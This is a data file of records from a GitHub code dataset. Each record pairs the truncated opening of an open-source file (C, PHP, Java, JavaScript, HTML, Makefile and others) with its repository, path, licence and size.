1,503
46
codeparrot/github-code
f12f0e00cdd5b7faa7fdc8d2e975e5efcad91de08d7af764c829c7b831c76921
#include "threads.h" #include <stdlib.h> #include <time.h> void writing_phase(int file_num, char const *filenames[]) { int i, rand_number, total_lines = 0; /* We create a pthread_t array with a file_num number of elements.*/ pthread_t * threads = (pthread_t *) malloc(file_num * sizeof(pthread_t)); /* We creat...
C
threads.c
badwolfie/C-threads
gpl-2.0
3,451
117
codeparrot/github-code
78036c6d9da365fc0cd917511b0e16888bdeda72fa0a69f3cc057c494d06e984
<?php /** * swmenupro v5.5 * http://swonline.biz * Copyright 2006 Sean White * Translated to Hungarian by Viktor Szucs with the kind permission of Sean White * Contact: szviktor@bibl.u-szeged.hu * Special thanks to LocaLiCeR for the spell-checking and advising to the Hungarian translation * Contact: info@soft-t...
PHP
administrator/components/com_swmenupro/language/hungarian_formal.php
trungjc/caravancountry
gpl-2.0
31,179
594
codeparrot/github-code
60e42f90657d62238609cdc03edfb558016fd23437f12202d6bbbeaba2fe7fbf
# # Openwrt Makefile for ifx-voip-common # #### Includes ################################### include $(TOPDIR)/rules.mk include $(INCLUDE_DIR)/kernel.mk #### Package Info ############################### PKG_NAME:=ifx-voip-common PKG_VERSION:=2.3.1.8 PKG_RELEASE:=1 #PKG_MD5SUM:=27a19252419b288fd35382397e65c1ed PKG_MD5...
Makefile
package/infineon-utilities/feeds/ifx_feeds_voip/ifx_voip_common/Makefile
uwehermann/easybox-904-xdsl-firmware
gpl-2.0
5,593
174
codeparrot/github-code
3e40d1ce884fecc5fd6606cfcd96b61fdf8bf99fc9755862adf0ca88f487a271
<?php /* Package: Simply Works Core Title: Simply Works Core Update: 04/10/12 Author: Jason Huber Version: 1.5.8 Description: Header include file */ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/19...
PHP
wp-content/themes/simply-works-core/header.php
stanislavlyalin/evolab
gpl-2.0
4,694
109
codeparrot/github-code
9f63e3e7ed78bbef0fee46ff670e7117a14208e708f71fb1063df0229997d880
var svg = d3.select("svg.header") .append("g") .translate((window.innerWidth-620)/2, 120) var radius = d3.scale.linear() .domain([0, 5]) .range([50, 10]) var theta = function(d){ switch(d){ case 0: return 102; case 1: return 173; case 2: return 232; case 3: return 2...
JavaScript
js/header.js
mgold/Invitation-to-Another-Dimension
gpl-2.0
1,046
44
codeparrot/github-code
02b8032af380a9c9c6087b3824f500f0ca05ca9900fab293d5b8894f6e3a5d9f
/*LINTLIBRARY*/ char what_a_nsf_c[] = "@(#) $Id:nsf.c,v 1.51 1993/04/22 21:03:57 maus Exp $"; #include <stdlib.h> #include <math.h> #include <errno.h> #include <string.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/param.h> #include <sys/file.h> #include <dap/dap.h> #include "f.h" #include "x.h" #i...
C
a/nsf.c
tavmem/budStk
gpl-2.0
17,994
744
codeparrot/github-code
8bb198575eaf38fdcd9ea97589633bb12faf925c8b702e008f5f5b287acb2acf
package com.codemitts.chapter8; import com.codemitts.ArrayUtils; import org.junit.Assert; import org.junit.Test; import java.util.Random; /** * Created by Sarika on 5/1/2015. * * 8-4 Water jugs * Suppose that you are given n red and n blue water jugs, all of different shapes and * sizes. All red jugs hold diffe...
Java
IdeaProjects/Cormen/src/com/codemitts/chapter8/WaterJugs.java
sarikamm/codemitts
gpl-2.0
8,053
266
codeparrot/github-code
905f7df63d7453236c480dab7ee8cf1216fbcc91d63f57a258deaef1be8d3fcd
/* * synergy -- mouse and keyboard sharing utility * Copyright (C) 2012-2016 Symless Ltd. * Copyright (C) 2003 Chris Schoeneman * * This package is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * found in the file LICENSE that should have accompanied...
C
src/lib/platform/XWindowsKeyState.h
ommokazza/synergy
gpl-2.0
4,812
175
codeparrot/github-code
c74354e63becb4ff155400dbcbf87b92477bfc5a482dc60f9243ea754ef9f6d5
/* * ircd-ratbox: A slightly useful ircd. * m_kline.c: Bans/unbans a user. * * Copyright (C) 1990 Jarkko Oikarinen and University of Oulu, Co Center * Copyright (C) 1996-2002 Hybrid Development Team * Copyright (C) 2002-2005 ircd-ratbox development team * * This program is free software; you can redistrib...
C
modules/m_kline.c
ChatLounge/ChatIRCd
gpl-2.0
23,407
870
codeparrot/github-code
c2df4d0313e3f5f0e9719262cb76725fe297f860665a7da7c75e5fdd4f775da2
/* This file is part of LPIC++, a particle-in-cell code for simulating the interaction of laser light with plasma. Copyright (C) 1994-1997 Roland Lichters LPIC++ is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Soft...
C
fresnel/uhr.h
ruddyscent/lpic
gpl-2.0
1,492
53
codeparrot/github-code
a67299ee1178858af2c879a97efc21a30210b1b1b9ee59b7bd145127f8521d01
<div id="form_reports_page" class="wrap frm_charts"> <h1><?php _e( 'Reports', 'formidable' ) ?></h1> <div id="poststuff"> <div id="post-body" class="metabox-holder columns-2"> <div id="post-body-content"> <?php FrmAppController::get_form_nav($form, true); $class = 'odd...
PHP
wp-content/plugins/formidable/pro/classes/views/frmpro-statistics/show.php
samliew/wpbase
gpl-2.0
3,841
81
codeparrot/github-code
e587a46676caaec1b2909d3c51bf4066738e5c435d40e825bc58171af441a571
/* Helper routines for C++ support in GDB. Copyright (C) 2002-2013 Free Software Foundation, Inc. Contributed by MontaVista Software. Namespace support contributed by David Carlton. This file is part of GDB. This program is free software; you can redistribute it and/or modify it under the terms of ...
C
gdb/cp-support.h
jlebar/gdb
gpl-2.0
8,120
250
codeparrot/github-code
b25f89933e9386e493b5ec8e107621442021bb25cd10ebad13cfc0439152b981
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Qt 4.3: QListView Class Reference</title> <link href="classic.css" rel="stylesheet" type="text/css" /> <...
HTML
doc/html/qlistview.html
muromec/qtopia-ezx
gpl-2.0
32,126
343
codeparrot/github-code
0c50c90bf0d05223b03ac92ccbb199792aafd85899969a40a179c329da0bcda0
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="Content-Style-Type" ...
HTML
wiki-oar/index.php/Template:Warning.html
oar-team/website-archive
gpl-2.0
12,002
214
codeparrot/github-code
bd775657b82ab0f1012ccd5f488fb8e4ff96f835d5412e3f69321053d5c133dd
/* * mpeg2.h * Copyright (C) 2000-2003 Michel Lespinasse <walken@zoy.org> * Copyright (C) 1999-2000 Aaron Holtzman <aholtzma@ess.engr.uvic.ca> * * This file is part of mpeg2dec, a free MPEG-2 video stream decoder. * See http://libmpeg2.sourceforge.net/ for updates. * * mpeg2dec is free software; you can redistr...
C
MPlayer-1.0rc2-kai_for_nn/libmpeg2/mpeg2.h
zrafa/jlime_embedded_applications
gpl-2.0
6,516
203
codeparrot/github-code
81aaeb690d4000a0e952cef0dc7a4724d63e5edde9fde1b9ff6993d7c6bfd745
Template.comment.helpers({ submittedText: function() { var date = new Date(this.submitted); console.log("vote =====>", this); var d=date.getDate(); var m=date.getMonth()+1; var y=date.getFullYear(); return m + " - " + d + " - " + y; }, postID : function(postID){ ...
JavaScript
app/client/views/comments/comment.js
the-sumit/sumit-prototype
gpl-2.0
2,225
82
codeparrot/github-code
1ec3dfed45d6973fc872c9c743e79a7a1a30bf9c481e0410ce93a070ddaaccca
using System; using System.Collections.Generic; using System.Text; using System.Text.RegularExpressions; namespace MediaPoint.Subtitles.Logic.SubtitleFormats { public class DvdSubtitle : SubtitleFormat { static Regex regexTimeCodes = new Regex(@"^\{T\ \d+:\d+:\d+:\d+$", RegexOptions.Compiled); ...
C#
MediaPoint_Common/Subtitles/SubtitleFormats/DvdSubtitle.cs
msimic/MediaPoint
gpl-2.0
5,027
153
codeparrot/github-code
e88f9dfac02e072e140b4bf4c14d838fdd17b364f71d71f94af0b5c5ed8f986d
<!DOCTYPE html> <html> <head> <title>Regrouping Demo with Tree View</title> <meta name="description" content="Keeping a TreeModel in synch with a GraphLinksModel in a Regrouping editor." /> <!-- Copyright 1998-2015 by Northwoods Software Corporation. --> <meta charset="UTF-8"> <script src="go.js"></script> <link href=...
HTML
Website/metro/Voorbeelden/Pipes voorbeeld/samples/regroupingTreeView.html
RamonValk/PVNG
gpl-2.0
17,359
379
codeparrot/github-code
6989ecf98a9c2b2508a2a619eef5cb0ed668d88e6c1e570e5cb6bd8c34dfc0a3
using System; using System.IO; namespace NetMiddlemanServer { class LogsSystem { #region 单例模式 private static LogsSystem _instance; public static LogsSystem Instance { get { if (_instance == null) { _in...
C#
NetMiddlemanServer/LogsSystem.cs
moonrailgun/NetMiddleman
gpl-2.0
2,340
98
codeparrot/github-code
f8a00df709a767fa9319520bb6a2809c38b24936c2fc93d744e8d294fd2d4796
/* Gnome panel: general applet functionality * (C) 1997 the Free Software Foundation * * Authors: George Lebl * Federico Mena * Miguel de Icaza */ #include <config.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <glib/gi18n.h> #include <gdk/gdkx.h> #include <libpane...
C
gnome-panel/applet.c
sunnynarayan/gnome-panel
gpl-2.0
24,496
1,014
codeparrot/github-code
add5d269ca3a17c02a5bfb87ca89134dba5f8620eccf26876fbc428b12f1f4c4
/*************************************************************************** * Copyright (C) 2008-2011 by Daniel Nicoletti * * dantti12@gmail.com * * * * This pr...
C
libapper/PkTransaction.h
KDE/apper
gpl-2.0
6,922
169
codeparrot/github-code
0126b35a72bebfa10131ecf8166100a1ca1532b7351ba748b4b2c3b9186902a7
/* * Copyright (C) 2009-2015,2020 by Jonathan Naylor G4KLX * Copyright (C) 2016 by Colin Durbridge G4EML * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the...
C
CalDMR.h
g4klx/MMDVM
gpl-2.0
1,443
61
codeparrot/github-code
5c8859b9ffac75d1ea722aef572b8b7f6687182ce54d98927f7c997464c03623
/** * UGENE - Integrated Bioinformatics Tools. * Copyright (C) 2008-2022 UniPro <ugene@unipro.ru> * http://ugene.net * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * ...
C
src/corelibs/U2Core/src/tasks/SequenceDbiWalkerTask.h
ugeneunipro/ugene
gpl-2.0
3,986
122
codeparrot/github-code
742e18b35e4fd64db339c245fc6bf319bb07ec729924403cbe59d67ccb66d16c
/* Resource Description * * Copyright (C) 2006 Lee Begg and the Thousand Parsec Project * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at...
C++
tpserver/resourcedescription.cpp
thousandparsec/tpserver-cpp
gpl-2.0
2,781
107
codeparrot/github-code
0bdbcf18833f5756db921a23bd7283b31cd5a659b416d3108245a47923f9373d
<?php /* Copyright (C) 2014-2018, Siemens AG This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 2 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; witho...
PHP
src/lib/php/Data/Clearing/test/AgentClearingEventTest.php
alpianon/fossology
gpl-2.0
4,006
158
codeparrot/github-code
21f1d9c28a1d77a341ba96bd799a5916e95b7bede30204e203464b21d9266478
/* =========================================================================== Copyright (C) 1999-2005 Id Software, Inc. This file is part of Quake III Arena source code. Quake III Arena source code is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as publish...
C
code/qcommon/common.c
sergds/ioq3
gpl-2.0
86,167
3,799
codeparrot/github-code
004f2fd03b7c675cf1400d71779259123009b021b6733a03a7f5be7f781ca15d
/* * Copyright (c) 2011-2012, Code Aurora Forum. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and * only version 2 as published by the Free Software Foundation. * * This program is distributed in the...
C
arch/arm/mach-msm/board-m7-regulator.c
jthatch12/STi2_M7
gpl-2.0
21,148
597
codeparrot/github-code
2b7508544a6dcc4c15ad5f9856dbfe145b488e45ee9160f99c745137cf491e94
macro_line|#include &quot;cache.h&quot; macro_line|#include &quot;lockfile.h&quot; macro_line|#include &quot;commit.h&quot; macro_line|#include &quot;tag.h&quot; macro_line|#include &quot;refs.h&quot; macro_line|#include &quot;builtin.h&quot; macro_line|#include &quot;exec_cmd.h&quot; macro_line|#include &quot;parse-op...
C
builtin/describe.c
dmgerman/git-test
gpl-2.0
29,939
2,717
codeparrot/github-code
91a8dd72d4b944615f77827101c95efa912b94d108b0f28fc662f68bf9233a58
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="viewport" content="width=device-width" /> <link rel="shortcut icon" type="image/x-icon" href="../../../../../favicon.ico" /> <tit...
HTML
Components/googleplayservices-16.0/lib/android/16/content/google-play-services/docs/reference/com/google/android/gms/R.id.html
ismailsunni/UwongNdePoint
gpl-2.0
47,335
1,887
codeparrot/github-code
4c1d676aee10f2749253fad5dcc0022b560a987c5b3e2ef69d18c95e012906fd
/* Copyright (C) 2017 MariaDB Corporation This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, ...
C++
utils/regr/covar_samp.cpp
mariadb-corporation/mariadb-columnstore-engine
gpl-2.0
4,220
153
codeparrot/github-code
1f314d061488305bcb4d7f2cf9a07292102026e1e2971139305aaa559335f170
<?php /* * @Program: NukeViet CMS * @File name: NukeViet System * @Version: 2.0 RC4 * @Date: 06.04.2010 * @Website: www.nukeviet.vn * @Copyright: (C) 2010 * @License: http://opensource.org/licenses/gpl-license.php GNU Public License */ if ( (! defined('NV_SYSTEM')) and (! defined('NV_ADMIN')) ) { Header( "Lo...
PHP
blocks/block-Online.php
nukeviet/NukeViet-2.0
gpl-2.0
3,323
97
codeparrot/github-code
7495a2d5821f6e04bb31ecb7274071aede934c2999e061a14a23ef2626d20889
/* * Copyright 2001 Sun Microsystems, Inc. All Rights Reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundati...
Java
openjdk/jdk/test/java/nio/channels/FileChannel/TryLock.java
TheTypoMaster/Scaper
gpl-2.0
3,813
114
codeparrot/github-code
c685ec841a3d7c2fe49fedd1e7629c5a9d0e15343a2b9313e265852837495e7f
/** * Copyright (C) 2012-2014 52°North Initiative for Geospatial Open Source * Software GmbH * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 as published * by the Free Software Foundation. * * If the program is linked with...
Java
core/api/src/main/java/org/n52/sos/coding/OperationKey.java
USGS-CIDA/SOS
gpl-2.0
3,444
106
codeparrot/github-code
38bfec78b341b1043fb12cde3bbb5160c4f228703a6a18c1d271fe2cdac17238
import AppContext from 'AppFramework/AppContext'; import { Page, PageRegistration, PageModule, PageTemplateReference, IPageTemplates, IPageRegistration } from 'AppFramework/Navigation/Page'; import { State } from 'router5'; import isMobile from 'AppFramework/Client/BrowserDetector'; import * as...
TypeScript
src/App/js/AppFramework/Navigation/PageLoader.ts
Sebazzz/financial-app
gpl-2.0
15,479
445
codeparrot/github-code
9454931834e90ba779acb2144c5193e1303aafba03470ef1808e8eb7d9df7c65
#include "MultiSampleDialog.h" #include <QMessageBox> MultiSampleDialog::MultiSampleDialog(QWidget *parent) : QDialog(parent) , ui_() , db_() , samples_() , steps_(SingleSampleAnalysisDialog::loadSteps("analysis_steps_multi_sample")) { ui_.setupUi(this); SingleSampleAnalysisDialog::addStepsToParameters(steps_, ...
C++
src/GSvar/MultiSampleDialog.cpp
marc-sturm/ngs-bits
gpl-2.0
1,771
85
codeparrot/github-code